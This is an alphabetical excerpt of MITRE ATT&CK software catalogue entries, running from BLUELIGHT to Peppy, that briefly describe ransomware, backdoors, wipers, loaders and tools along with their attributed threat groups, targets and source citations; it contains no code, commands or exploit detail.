Description: [BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)
Current version: 1.0
Description: [Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)
Current version: 1.0
Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.1
Description: [Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)
Current version: 1.0
Description: [BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)
Current version: 1.0
Description: [BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)
Current version: 1.0
Description: [BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)
Current version: 1.2
Description: [BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)
Current version: 1.0
Description: [BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)
Current version: 1.0
Description: [CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)
Current version: 1.0
Description: [CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)
Current version: 1.0
Description: [Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)
Current version: 1.0
Description: [CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)
Current version: 1.0
Description: [Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)
Current version: 1.0
Description: [Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)
Current version: 1.0
Description: [Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 1.0
Description: [ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)
Current version: 2.0
Description: [Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)
Current version: 1.0
Description: [CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)
Current version: 1.0
Description: [Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)
Current version: 1.0
Description: [Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)
Current version: 1.0
Description: [DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)
Current version: 1.0
Description: [DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)
Current version: 1.0
Description: [DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)
Current version: 1.0
Description: [Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)
Current version: 1.0
Description: [Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)
Current version: 1.0
Description: [Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)
Current version: 1.1
Description: [DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)
Current version: 1.0
Description: [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)
Current version: 2.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)
Current version: 1.0
Description: [Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)
Current version: 1.0
Description: [EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)
Current version: 1.0
Description: [FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)
Current version: 1.0
Description: [Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)
Current version: 1.0
Description: [FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)
Current version: 1.0
Description: [Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)
Current version: 1.0
Description: [GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 2.0
Description: [GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)
Current version: 1.0
Description: [Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)
Current version: 1.0
Description: [Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)
Current version: 1.0
Description: [GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)
Current version: 2.0
Description: [GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)
Current version: 1.0
Description: [HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)
Current version: 1.0
Description: [HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)
Current version: 1.0
Description: [HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)
Current version: 1.1
Description: [Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)
Current version: 1.0
Description: [HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.0
Description: [IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )
Current version: 1.0
Description: [JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)
Current version: 1.0
Description: [Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)
Current version: 1.0
Description: [KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)
Current version: 2.0
Description: [Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)
Current version: 1.1
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 1.1
Description: [Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)
Current version: 1.0
Description: [Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)
Current version: 1.0
Description: [LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)
Current version: 1.0
Description: [LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)
Current version: 1.0
Description: [Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)
Current version: 1.0
Description: [LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)
Current version: 1.1
Description: [Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)
Current version: 1.0
Description: [MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)
Current version: 1.0
Description: [Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)
Current version: 1.0
Description: [MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to "plug-n-play" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)
Current version: 1.0
Description: [NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)
Current version: 1.0
Description: [NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)
Current version: 1.0
Description: [Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)
Current version: 1.0
Description: [ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)
Current version: 1.0
Description: [Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)
Current version: 1.0
Description: [P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
Current version: 1.0
Description: [Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)
Current version: 1.0
Description: [Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)
Current version: 1.0
Description: [Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)
Current version: 1.0
Description: [Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)
Current version: 1.0
